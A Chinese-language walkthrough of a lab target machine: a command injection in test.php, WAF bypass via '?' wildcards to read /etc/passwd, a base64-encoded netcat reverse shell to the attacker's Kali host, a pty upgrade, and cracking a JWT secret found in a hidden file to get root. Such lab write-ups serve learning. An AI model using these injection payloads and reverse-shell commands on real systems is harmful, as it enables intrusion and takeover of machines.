192.168.1.159
-Kali Linux
192.168.1.161
-靶机
先用 nmap
查看靶机开启什么服务
只有一个http服务,丢到爆破工具中扫描后台,得到 test.php
看链接以为是文件包含,试验了一下,都是403,估摸着是有waf拦截了,最后尝试了一下命令注入,发现可行
手工试了一些后,发现ls、cat这些命令无法正常执行,所以只能换个方法,在尝试的时候发现用通配符问号来代替的话,不会被waf拦截
http://192.168.1.161/test.php?file=|/b?n/c?t%20/e?c/?a??wd
从上面这一步可以知道这个waf的工作原理,所以我们只需要将敏感词部分用问号代替就可以绕过waf了
那么现在的问题是,如何通过这个命令注入让靶机执行反弹shell的命令
如果是直接 nc-e/bin/sh ip port
这种方式的话会被waf拦截,所以得想另外一种可执行命令的方法
后来就想到Linux管道符的特性
在Linux中,管道符左边的命令输出会作为管道符右边的命令的输入然后去执行,若存在多个则以此类推
举个例子
所以这里用base64的方式来传入执行的命令,然后在解码执行
明文:
/bin/echo "nc -e /bin/sh 192.168.1.159 4444" | /usr/bin/base64 | /bin/sh
base64编码后及过waf操作后:
/b?n/e??o bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg|/?s?/b??/b??e64 -d|/b?n/sh
其中bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuMTU5IDQ0NDQg
的意思就是 nc-e/bin/sh192.168.1.1594444
随后我们得到了shell,转成tty先
python3 -c 'import pty; pty.spawn("/bin/bash")'
(注意是python3,不能直接python,神坑,这里是大佬 RJ45
指点了一番)
我们在 /home/bob/
目录下发现了一个隐藏文件 ._pw_
cat查看发现是一大串字符串
丢到百度上,匹配到了一个名为 JWT
的令牌
上官网(jwt.io)看介绍,发现这玩意是有一个私钥加密来的
于是乎,在github上面搜 jwt crack
我这里就用了第一个(https://github.com/brendan-rius/c-jwt-cracker)
按照说明配置好后,直接把api丢过去破解,一段时间后就出来了
得到密码为 mlnV1
,然后就可以直接切换到root用户了